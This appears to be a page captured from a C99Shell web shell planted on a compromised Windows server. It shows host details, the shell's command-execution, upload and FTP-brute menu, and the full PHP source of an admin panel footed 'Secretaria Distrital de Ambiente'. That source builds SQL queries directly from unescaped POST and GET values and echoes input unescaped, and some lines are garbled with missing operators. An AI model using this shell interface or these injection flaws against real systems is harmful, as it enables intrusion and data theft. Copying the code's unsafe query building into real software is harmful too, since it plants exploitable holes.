!C99Shell v. 1.0 pre-release build #13!

Software: Apache. PHP/5.5.15 

uname -a: Windows NT SVR-DMZ 6.1 build 7600 (Windows Server 2008 R2 Enterprise Edition) i586 

SYSTEM 

Safe-mode: OFF (not secure)

E:\xampp\xampp\htdocs\login\admin\   drwxrwxrwx
Free 7.96 GB of 239.26 GB (3.33%)
Detected drives: [ a ] [ c ] [ d ] [ e ] [ f ]
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     adminpage.php (25.05 KB)      -rw-rw-rw-
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

//prevents caching
header("Expires: Sat, 01 Jan 2000 00:00:00 GMT");
header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
header("Cache-Control: post-check=0, pre-check=0",false);
session_cache_limiter();
session_start();

require(
'../config.php');
require(
'../functions.php');

//check for administrative rights
if (allow_access(Administrators) != "yes")
{
    include (
'../no_access.html');
    exit;
}

//make connection to dbase
$connection = @mysql_connect($server$dbusername$dbpassword)
            or die(
mysql_error());
            
$db = @mysql_select_db($db_name,$connection)
            or die(
mysql_error());

//build and issue the query
$sql ="SELECT * FROM $table_name";
$result = @mysql_query($sql,$connection) or die(mysql_error());

?>

<head>
<meta http-equiv="Content-Language" content="en-us">
<link rel="stylesheet" type="text/css" href="adminpage.css">
</head>

<body topmargin="0" leftmargin="0" rightmargin="0" bottommargin="0">

<table border="0" width="100%" id="table1">
    <tr>
        <td align="center"> 
<table border="0" width="900" id="table2" cellspacing="0" cellpadding="4">
  <tr>
                
    <td width="280"><b><font size="4">Login - Panel de Control</font></b> </td>
                
    <td align="right"><a href="../logs/index.php">Logs de acceso</a><i>&nbsp;&nbsp;| 
      </i><a href="../listado_experiencias.php?id=<?php echo $_SESSION[id]; ?>">Ver 
      experiencias registradas</a><i>&nbsp;| &nbsp;</i><a href="../logout.php">Cerrar 
      sesi&oacute;n</a></td>
            </tr>
            <tr>
                
    <td width="280"><b>Logueado como <?php echo $_SESSION[user_name]; ?></b></td>
    <td align="right">Archivos: <a href="../informacion_local/">Ver archivos publicados 
      en informaci&oacute;n local</a> | <a href="../archivos/">Ver archivos publicados 
      en oferta</a> </td>
            </tr>
            <tr>
                
    <td width="280">&nbsp;</td>
    <td align="right"><i></i></td>
            </tr>
            <tr>
                <td width="280">&nbsp;</td>
                <td>
                <p align="right">&nbsp;</td>
            </tr>
            <tr>
                <td width="280" valign="top">
                
                <table border="0" width="100%" id="table3" cellspacing="0" cellpadding="0">
                    <tr>
                        
                        <td width="38%" valign="top">
                        <table border="0" width="100%" id="table38" cellspacing="0" cellpadding="0">
                            <tr>
                                <td>

<?php
if ($_POST[alter2] == "add")
{
?>

    <form method="POST" action="<?php $PHP_SELF?>">
        <p><input type="hidden" name="alterup2" value="up"> <input type="submit" value="Agregar usuario"></p>
    </form>

<?php
}else
{
?>
        <form method="POST" action="<?php $PHP_SELF?>">
        <p><input type="hidden" name="alter2" value="add"> <input type="submit" value="Agregar usuario"></p>
    </form>
<?php
}
?>


                                </td>
                            </tr>
                            <tr>
                                <td>
    <?php
    
if ($_POST[alter2] == "add")
    {
    
?>
                                
                                <form method="POST" action="<? echo "adduser.php?page=$page&max_results=$max_results"; ?>">
    <font size="1" face="Tahoma">
            <table border="0" width="100%" id="table44" bordercolorlight="#C0C0C0" bordercolordark="#FFFFFF">
                <tr>
                    <td width="140">Nombre:</td>
                    <td><font size="1" face="Tahoma">
            <input type="text" name="firstname" size="20"></font></td>
                </tr>
                <tr>
                    <td width="140">Apellido:</td>
                    <td><font size="1" face="Tahoma">

            <input type="text" name="lastname" size="20"></font></td>
                </tr>
                <tr>
                    <td width="140">Usuario:</td>
                    <td><font size="1" face="Tahoma">

            <input type="text" name="username" size="20"></font></td>
                </tr>
                <tr>
                    <td width="140">Password:</td>
                    <td><font size="1" face="Tahoma">

            <input type="text" name="password" size="20" maxlength="667"></font></td>
                </tr>
                <tr>
                    <td width="140">E-Mail:</td>
                    <td><font size="1" face="Tahoma">

            <input type="text" name="email" size="20"></font></td>
                </tr>
                <tr>
                    <td width="140">Grupo:</td>
                    <td><font size="1" face="Tahoma">
            <select size="1" name="group1">

<?php

echo "<option>Users</option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}
?>

            </select></font></td>
                </tr>
                <tr>
                    <td width="140">&nbsp;</td>
                    <td><font size="1" face="Tahoma">
            <select size="1" name="group2">

<?php
    
echo "<option></option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}
?>

            </select></font></td>
                </tr>
                <tr>
                    <td width="140">&nbsp;</td>
                    <td><font size="1" face="Tahoma">
            <select size="1" name="group3">

<?php
    
echo "<option></option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}
?>

            </select></font></td>
                </tr>
                <tr>
                    <td width="140">Redirect to:</td>
                    <td><font size="1" face="Tahoma">
            <input type="text" name="redirect" size="20" value="http://"></font></td>
                </tr>
                <tr>
                    <td width="140">Change Password Next Login:</td>
                    <td><font size="1" face="Tahoma">
            <select size="1" name="pchange">
            <option value="0" selected>No</option>
            <option value="1">Yes</option>
            </select></font></td>
                </tr>
                <tr>
                    <td width="140">E-Mail User Account 
                    Information:</td>
                    <td><font size="1" face="Tahoma">
            <select size="1" name="email_user">
            <option value="No" selected>No</option>
            <option value="Yes">Yes</option>
            </select></font></td>
                </tr>
                <tr>
                    <td width="140"><font size="1" face="Tahoma">
            <input type="submit" value="Submit" name="B4"></font></td>
                    <td>&nbsp;</td>
                </tr>
            </table>

        </font>

                                </td>
                            </tr>
                            <tr>

                                </form>
<?php
}
?>

                            </tr>
                            <tr>
                                <td><font size="1" face="Tahoma">
                                
                                <?php
                                
if ($_POST[alter1] == "modify" || $_POST[username] != "")
                                {
                                
?>
                                
                                <form method="POST" action="<? $PHP_SELF; ?>">
                                    <p>
                                    <input type="hidden" name="alter1" size="20" value="up"> <input type="submit" value="Modificar usuario"></p>
                                </form>
                                
                                <?php
                                
}
                                else{
                                
?>
                                                                
                                <form method="POST" action="<? $PHP_SELF; ?>">
                                    <p>
                                    <input type="hidden" name="alter1" size="20" value="modify"> <input type="submit" value="Modificar usuario"></p>
                                </form>

                                <?php
                                
}
                                
?>
                                
                                
                                </td>                                
                                <?
if (($_POST[alter1] == "modify") || ($_POST[username] != ""))
{
?>
<tr>
<td>
    <font size="1" face="Tahoma">


<form name="myform" id="myform" action="<? $PHP_SELF; ?>" method="POST">
            <table border="0" width="100%" id="table41" cellspacing="0" cellpadding="0" bordercolorlight="#C0C0C0" bordercolordark="#FFFFFF">
                <tr>
                    <td width="140">Username:</td>
                    <td><font size="1" face="Tahoma">
                    <select size="1" name="username" onChange="document.myform.submit()">
<?

if ($_POST[username] != "")
{
echo "<option>$_POST[username]</option>";
echo "<option value=\"\"></option>";
}
else
{
echo "<option></option>";
}

//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server, $dbusername, $dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT * FROM $table_name";
$result = @mysql_query($sql,$connection) or die(mysql_error());
    while ($sql = mysql_fetch_object($result)) 
    {
        $uname = $sql -> username;
        echo "<option value=\"$uname\">$uname</option>";
    }
?>
                    </select></font></td>
                </tr>
            </table>
        </form>

        </font>

                </td>            
</tr>

<?php
if ($_POST[username] != "")
{

    
//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT * FROM $table_name WHERE username = '$_POST[username]'";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$m_first $sql -> firstname;
    
$m_last $sql -> lastname;    
    
$g_1     $sql -> group1;
    
$g_2     $sql -> group2;
    
$g_3     $sql -> group3;            
    
$chng     $sql -> pchange;
    
$m_email $sql -> email;
    
$direct $sql -> redirect;

}
?>
<tr>
<td>
<form method="POST" action="mod_user.php">
    
        <font size="1" face="Tahoma">
            <table border="0" width="100%" id="table1" cellspacing="0" cellpadding="0" bordercolorlight="#C0C0C0" bordercolordark="#FFFFFF">
                <tr>
                    <td width="140">Nombre:</td>
                    <td><font size="1" face="Tahoma">
            <input type="hidden" name="username" value="<? echo $_POST[username]; ?>">
            <input type="text" name="mod_first" value="<? echo $m_first; ?>" size="20"></font></td>
                </tr>
                <tr>
                    <td width="140">Apellido:</td>
                    <td><font size="1" face="Tahoma">
            <input type="text" name="mod_last" value="<? echo $m_last; ?>" size="20"></font></td>
                </tr>
                <tr>
                    <td width="140">
            Password:</td>
                    <td><font size="1" face="Tahoma">
            <input type="text" name="mod_pass" size="20" value="Same as Old"></font></td>
                </tr>
                <tr>
                    <td width="140">
            E-Mail Address:</td>
                    <td><font size="1" face="Tahoma">
            <input type="text" name="mod_email" value="<? echo $m_email; ?>" size="20"></font></td>
                </tr>
                <tr>
                    <td width="140">
            Grupo:</td>
                    <td><font size="1" face="Tahoma">
            <select size="1" name="mod_group1">

<?php

echo "<option>$g_1</option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}
?>

            </select></font></td>
                </tr>
                <tr>
                    <td width="140">&nbsp;
            </td>
                    <td><font size="1" face="Tahoma">
            <select size="1" name="mod_group2">

<?php

echo "<option>$g_2</option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}
?>

            </select></font></td>
                </tr>
                <tr>
                    <td width="140">&nbsp;
            </td>
                    <td><font size="1" face="Tahoma">
            <select size="1" name="mod_group3">

<?php

echo "<option>$g_3</option>";
$i 0;
while (
$i $num_groups)
{
    echo 
"<option value=\"$group_array[$i]\">$group_array[$i]</option>";
    
$i++;
}
?>

            </select></font></td>
                </tr>
                <tr>
                    <td width="140">
            Redirect to:</td>
                    <td><font size="1" face="Tahoma">
            <input type="text" name="mod_redirect" value="<? echo $direct; ?>" size="20"></font></td>
                </tr>
                <tr>
                    <td width="140">
            Change Password Next Logon:</td>
                    <td><font size="1" face="Tahoma">
            <select size="1" name="mod_chng">
            <option value="0" selected>No</option>
            <option value="1">Yes</option>
            </select></font></td>
                </tr>
                <tr>
                    <td width="140">
            E-Mail User Account Information:</td>
                    <td><font size="1" face="Tahoma">
            <select size="1" name="mod_send">
            <option value="No" selected>No</option>
            <option value="Yes">Yes</option>
            </select></font></td>
                </tr>
                <tr>
                    <td width="140">
            <font size="1" face="Tahoma">
            <input type="submit" value="Submit" name="B5"></font></td>
                    <td>&nbsp;</td>
                </tr>
            </table>

        </font>
        
        </form>
        
</td>
</tr>

<?php
}
?>


<?
}
?>
                                
                                </td>
                            </tr>
                    <tr>
                        <td width="38%">

<?php
if ($_POST[alter] == "options")
{
?>


                        <form method="POST" action="<?php $PHP_SELF?>">
                            <p>
                            <input type="hidden" name="alter" value="up">
                            <input type="submit" value="Opciones administrativas"></p>
                        </form>

<?php
}
else
{
?>
                        
                        
                        <form method="POST" action="<?php $PHP_SELF?>">
                            <p>
                            <input type="hidden" name="alter" value="options">
                             <input type="submit" value="Opciones administrativas"></p>
                        </form>
<?php
}
?>



                        </td>
                            </tr>
                        <tr>
        <td width="33%" valign="top" height="0">
<?php
if ($_POST[alter] == "options")
{
?>
        <form method="POST" action="mod_user.php">
        <table border="0" width="100%" id="table43" cellspacing="0" cellpadding="3" bordercolorlight="#C0C0C0" bordercolordark="#FFFFFF">
            <tr>
                <td width="140">Delete User</td>
                <td>
                <font size="1" face="Tahoma">
                <select size="1" name="del_user">
                <option></option>
<?php
//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT username FROM $table_name ORDER BY username";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$uname $sql -> username;
    if (
$uname != $_SESSION[user_name])
    {
    echo 
"<option value=\"$uname\">$uname</option>";
    }
}

?>
                </select></font></td>
            </tr>
            <tr>
                <td width="140">Restore User</td>
                <td>
                <font size="1" face="Tahoma">
                <select size="1" name="restore">
                <option></option>
<?php
//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT username FROM trash ORDER BY username";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$uname $sql -> username;
    if (
$uname != $_SESSION[user_name])
    {
    echo 
"<option value=\"$uname\">$uname</option>";
    }
}

?>
                </select></font></td>
            </tr>

            <tr>
                <td width="140">Ban User</td>
                <td>
                <font size="1" face="Tahoma">
                <select size="1" name="ban_user">
                <option></option>

<?php

//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT username FROM $table_name ORDER BY username";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$uname $sql -> username;
    
    if (
$uname != $_SESSION[user_name])
    {
    echo 
"<option value=\"$uname\">$uname</option>";
    }
}
?>
                </select></font></td>
            </tr>
            <tr>
                <td width="140">Block IP Address</td>
                <td>
                <font size="1" face="Tahoma">
                <input type="text" name="oct1" size="3" maxlength="3"></font>.<font size="1" face="Tahoma"><input type="text" name="oct2" size="3" maxlength="3"></font><font face="Tahoma">.</font><font size="1" face="Tahoma"><input type="text" name="oct3" size="3" maxlength="3"><font face="Tahoma">.</font><input type="text" name="oct4" size="3" maxlength="3"></font></td>
            </tr>
            <tr>
                <td width="140">Lift User Ban</td>
                <td>
                <font size="1" face="Tahoma">
                <select size="1" name="lift_user_ban">
                <option></option>
<?php
//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT * FROM banned WHERE type = 'user'";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$banned $sql -> no_access;
    
    echo 
"<option value=\"$banned\">$banned</option>";
}
?>

                </select></font></td>
            </tr>
            <tr>
                <td width="140">Lift IP Ban</td>
                <td>
                <font size="1" face="Tahoma">
                <select size="1" name="lift_ip_ban">
                <option></option>
<?php
//require the config file
require ("../config.php");

//make the connection to the database
$connection = @mysql_connect($server$dbusername$dbpassword) or die(mysql_error());
$db = @mysql_select_db($db_name,$connection)or die(mysql_error());

//build and issue the query
$sql ="SELECT * FROM banned WHERE type = 'ip'";
$result = @mysql_query($sql,$connection) or die(mysql_error());

while (
$sql mysql_fetch_object($result)) 
{
    
$banned $sql -> no_access;
    echo 
"<option value=\"$banned\">$banned</option>";
}
?>                
                </select></font></td>
            </tr>
            <tr>
                <td width="140">Empty Trash</td>
                <td><font size="1" face="Tahoma">
            <select size="1" name="empt_trash">
            <option></option>
            <option value="yes">Yes</option>
            </select></font></td>
            </tr>
            <tr>
                <td width="140">Purge Accounts Inactive for</td>
                <td><select size="1" name="amt_time">
                <option></option>
                <option value="1">1</option>
                <option value="2">2</option>
                <option value="3">3</option>
                <option value="4">4</option>
                <option value="5">5</option>
                <option value="6">6</option>
                <option value="7">7</option>
                <option value="8">8</option>
                <option value="9">9</option>
                <option value="10">10</option>
                <option value="11">11</option>
                <option value="12">12</option>
                </select><font size="1" face="Tahoma"><select size="1" name="incr_time">
                <option></option>
                <option value="DAY">Days</option>
                <option value="MONTH">Months</option>
                <option value="YEAR">Years</option>
                </select></font></td>
            </tr>
            <tr>
                <td width="140"><font size="1" face="Tahoma">
                <input type="submit" value="Submit" name="B6"></font></td>
                <td>&nbsp;</td>
            </tr>
        </table>
        </form>
<?php
}
?>
        </td>

                    </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    <tr>
                        <td width="38%">&nbsp;
                        </td>
                            </tr>
                    </table>
                
                
                </td>



            </tr>
        </table>
        </td>
                        <td valign="top">
    <?
if ($user_det == "")
{

if (!isset($_GET['max_results']))
{
    $max_results = 5;
}else{
    $max_results = $_GET['max_results'];
}    

if(!isset($_GET['page'])){ 
    $page = 1; 
} else { 
    $page = $_GET['page']; 


if (isset($_GET['search']))
{
    $s_string = $_GET['search'];
    $explodeit = explode(" ", "$s_string");
    $c = count($explodeit);
    if ($c > 1)
    {
        for ($i=0; $i<$c; $i++)
        {
            $search = $explodeit[$i]."+";
        }
    }else{
        $search = $s_string;
    }
}




echo "Mostrando numero de resultados por página: <a href=\"".$_SERVER['PHP_SELF']."?page=$page&max_results=5&search=$search\">5</a>";
echo " <a href=\"".$_SERVER['PHP_SELF']."?page=$page&max_results=10&search=$search\">10</a><br>";  

// Figure out the limit for the query based 
// on the current page number. 
$from = (($page * $max_results) - $max_results); 

// Perform MySQL query on only the current page number's results 
if (!isset($_GET['search']))
{
    $set_lim = "SELECT * FROM $table_name ORDER BY username LIMIT $from, $max_results"; 
}else{
    $search = $_GET['search'];
    $set_lim = "SELECT * FROM $table_name WHERE username LIKE '%$search%' || firstname LIKE '%$search%' 
    || lastname LIKE '%$search%' || group1 LIKE '%$search%' || group2 LIKE '%$search%' || group3 LIKE '%$search%' 
    || email LIKE '%$search%' ORDER BY username LIMIT $from, $max_results";     
}    
$set_res = @mysql_query($set_lim,$connection) or die(mysql_error());

while ($set_lim = mysql_fetch_object($set_res)) 


$fname         = $set_lim -> firstname;
$lname         = $set_lim -> lastname;
$uname         = $set_lim -> username;
$p_change    = $set_lim -> pchange;
$verif_d    = $set_lim -> verified;
$last         = $set_lim -> last_login;
$re_direct     = $set_lim -> redirect;
$groupA        = $set_lim -> group1;
$groupB        = $set_lim -> group2;
$groupC        = $set_lim -> group3;
$e_mail        = $set_lim -> email;


if ($p_change == 1)
{$p_change = "Yes";}else{$p_change = "No";}

if ($verif_d == "0")
{$verif_d= "No";}else{$verif_d= "Yes";}


echo "<br><table border=\"0\" width=\"98%\" id=\"table5\" cellpadding=3 cellspacing=0 bgcolor=\"#ffffff\">";
echo "<tr>";
echo "<td width=\"100\"><b><a href=\"".$SERVER['PHP_SELF']."?user_det=$uname&ret_page=$page&ret_max=$max_results&search=$search\">$uname</a></b></td>";
echo "<td width=\"80\">E-Mail:</font></td>";
echo "<td><a href=\"mailto:$e_mail\">$e_mail</a></td>";

echo "</tr>";

echo "<tr>";
echo "<td width=\"100\">&nbsp;</td>";
echo "<td width=\"100\">Name:</td>";
echo "<td>$fname $lname</td>";
echo "</tr>";

echo "<tr>";
echo "<td width=\"100\">&nbsp;</td>";
echo "<td width=\"100\">Last Login:</td>";
echo "<td>$last</td>";
echo "</tr>";

echo "</table>";


}
 

// Figure out the total number of results in DB: 
if (!isset($_GET['search']))
{
    $total_results = mysql_result(mysql_query("SELECT COUNT(*) as Num FROM authorize"),0); 
}else{
$total_results = mysql_result(mysql_query("SELECT COUNT(*) as Num FROM authorize
    WHERE username LIKE '%$search%' || firstname LIKE '%$search%' 
    || lastname LIKE '%$search%' || group1 LIKE '%$search%' || group2 LIKE '%$search%' || group3 LIKE '%$search%' 
    || email LIKE '%$search%'"),0); 
}    

// Figure out the total number of pages. Always round up using ceil() 
$total_pages = ceil($total_results / $max_results); 

// Build Page Number Hyperlinks 
echo "<center>Elija página<br />"; 

// Build Previous Link 
if($page > 1){ 
    $prev = ($page - 1); 
    echo "<a href=\"".$_SERVER['PHP_SELF']."?page=$prev&max_results=$max_results&search=$search\">&lt;&lt;&nbsp;&nbsp; </a> "; 


for($i = 1; $i <= $total_pages; $i++){ 
    if(($page) == $i){ 
        echo "$i "; 
        } else { 
            echo "<a href=\"".$_SERVER['PHP_SELF']."?page=$i&max_results=$max_results&search=$search\">$i</a> "; 
    } 


// Build Next Link 
if($page < $total_pages){ 
    $next = ($page + 1); 
    echo "<a href=\"".$_SERVER['PHP_SELF']."?page=$next&max_results=$max_results&search=$search\">&nbsp;&nbsp; &gt;&gt;</a>"; 

echo "</center>"; 
}else{
echo "<b>Details for $user_det</b><br>";

$dsql = "SELECT * FROM $table_name WHERE username = '$user_det'"; 
$dresults = @mysql_query($dsql,$connection) or die(mysql_error());
while ($dsql = mysql_fetch_object($dresults)) 
{
$fname         = $dsql -> firstname;
$lname         = $dsql -> lastname;
$uname         = $dsql -> username;
$p_change    = $dsql -> pchange;
$verif_d    = $dsql -> verified;
$last         = $dsql -> last_login;
$re_direct     = $dsql -> redirect;
$groupA        = $dsql -> group1;
$groupB        = $dsql -> group2;
$groupC        = $dsql -> group3;
$e_mail        = $dsql -> email;

if ($p_change == "0")
{
$p_change = "No";
}else{
$p_change = "Yes";
}

if ($verif_d == "0")
{
$verif_d = "No";
}else{
$verif_d = "Yes";
}
?>
      <table width="98%" border="0" cellpadding="3" cellspacing="0" bordercolorlight="#FFFFFF" bordercolordark="#C0C0C0" id="table1">
        <tr>
        <td width="100" rowspan="10" valign="top"><? echo $uname; ?></td>
        <td colspan="2">&nbsp;</td>
    </tr>
    <tr>
        <td width="177">E-Mail:</td>
        <td><a href="<? echo $e_mail; ?>"><? echo $e_mail; ?></a></td>
    </tr>
    <tr>
          <td width="177">Nombre:</td>
        <td><? echo "$fname $lname &nbsp;"; ?></td>
    </tr>
    <tr>
          <td width="177">&Uacute;ltimo Login:</td>
        <td><? echo $last; ?>&nbsp;</td>
    </tr>
    <tr>
          <td width="177">Requiere cambio de password:</td>
        <td><? echo $p_change; ?>&nbsp;</td>
    </tr>
    <tr>
          <td width="177">Verificado via E-Mail:</td>
        <td><? echo $verif_d; ?>&nbsp;</td>
    </tr>
    <tr>
          <td width="177">Pertenencia a grupos:</td>
        <td><? echo $groupA; ?>&nbsp;</td>
    </tr>
    <tr>
        <td width="177">&nbsp;</td>
        <td><? echo $groupB; ?>&nbsp;</td>
    </tr>
    <tr>
        <td width="177">&nbsp;</td>
        <td><? echo $groupC; ?>&nbsp;</td>
    </tr>
    <tr>
          <td width="177">Redirigir a:</td>
        <td><? echo $re_direct; ?></td>
    </tr>
</table>

<center>
        <a href="<? echo $_SERVER['PHP_SELF']."?page=$ret_page&max_results=$ret_max&search=$search"; ?>">Volver 
        a listado</a> 
      </center>

<?
}}
if ($search != "")
{
    if ($ret_max)
    { $page=$ret_page; $max_results=$ret_max; }
    echo "<center><a href=\"".$_SERVER['PHP_SELF']."?page=$page&max_results=$max_results\">Exit Search</a>";
}else{
echo "<br><br>";
}
?>                        
<center>
<form method="GET" action="<? echo $_SERVER['PHP_SELF']."?page=$page&max_results=$max_results&search="; ?>">
          <p>Buscar
<input type="text" name="search" size="20"><input type="submit" value="Submit" name="B1"></p>
</form>
</center>

</td>
</tr>
</table>
<br><br>
<hr noshade height=1 color="#cccccc" width="90%">
<div align="center">Secretaria Distrital de Ambiente </div>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 1.0 pre-release build #13 powered by Captain Crunch Security Team | http://ccteam.ru | Generation time: 0.0312 ]--